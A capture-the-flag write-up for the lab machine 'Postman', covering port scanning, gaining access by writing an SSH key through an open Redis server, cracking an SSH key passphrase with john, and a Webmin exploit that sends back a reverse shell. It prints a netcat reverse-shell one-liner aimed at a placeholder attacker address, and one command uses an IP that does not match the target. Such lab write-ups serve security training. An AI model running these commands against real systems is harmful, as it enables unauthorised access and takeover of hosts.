search

Postman

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.160 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, a few ports are open.

Let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,6379,10000 10.10.10.160 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

We have an SSH server, a website, a Redis server, and a Webmin httpd server. I anticipate that you will not find anything interesting on the website. And if you search for any Webmin 1.910 exploit on exploit-dbarrow-up-right, you'll see there is one exploitarrow-up-right, but we have to be authenticated, so let's save that for later.

hashtag
Exploitation

So let's investigate on the Redis server. By doing your own research, you'll find an articlearrow-up-right explaining that we could have RCE (Remote Code Execution) via SSH. The idea is to create a pair of SSH keys locally, and add the public key to the authorized_keys file on the victim's machine, so we can later log in with our private key.

First, let's create the SSH keys with no passphrase.

ssh-keygen -t rsa

Then we'll have to add some space at the beginning and at the end of the public key, and save it into a file.

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

Then we'll have to import the file into the redis server.

cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

Finally, let's connect to the Redis server, go to the .ssh directory, create the authorized_keys file and save it.

redis-cli -h 10.10.10.160

10.10.10.160:6379> config set dir /var/lib/redis/.ssh

10.10.10.160:6379> config set dbfilename "authorized_keys"

10.10.10.160:6379> save

Then, all we have to do is connect via SSH with the user redis and our private key.

ssh -i id_rsa redis@10.10.10.160

hashtag
Privilege Escalation

At this point, I started enumerating the machine, and I found a backup file of an SSH private key owned by the Matt user.

ls -l /opt/

Let's copy it and paste it on our local machine, and give it the right permissions.

nano id_rsa.bak

chmod 600 id_rsa.bak

Now let's log in with it via SSH.

ssh -i id_rsa.bak Matt@10.10.10.160

It asks for a passphrase, but we don't have one. One thing we could do is break the private key with john. First, let's convert the private key into a format that john understands with ssh2johnarrow-up-right.

python3 /usr/share/john/ssh2john.py id_rsa.bak > hash

Then break it with john.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Now that we've got the passphrase, let's log in again via SSH.

ssh -i id_rsa.bak Matt@10.10.10.160

We got rejected, but no worries, let's go to the previous shell we had, and log in with the user Matt.

su Matt

At this point I couldn't find any way to become the root user, but I remembered the Webmin exploitarrow-up-right I found earlier, which needed valid credentials.

As the exploit is meant to be used with Metasploit, and I don't like using Metasploit, I coded my own script. What the script basically does, is log in to Webmin as the user Matt, send a POST request to a specific URL with a payload which sends back a reverse shell, and finally I used the pwn library to catch the reverse shell.

If you use this script, make sure you change the base64 encoded payload with one containing your IP address.

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc you_ip 5555 >/tmp/f" | base64

If we run the script, then we could finally reap the harvest and take the root flag.

python3 exploit.py

Last updated

Was this helpful?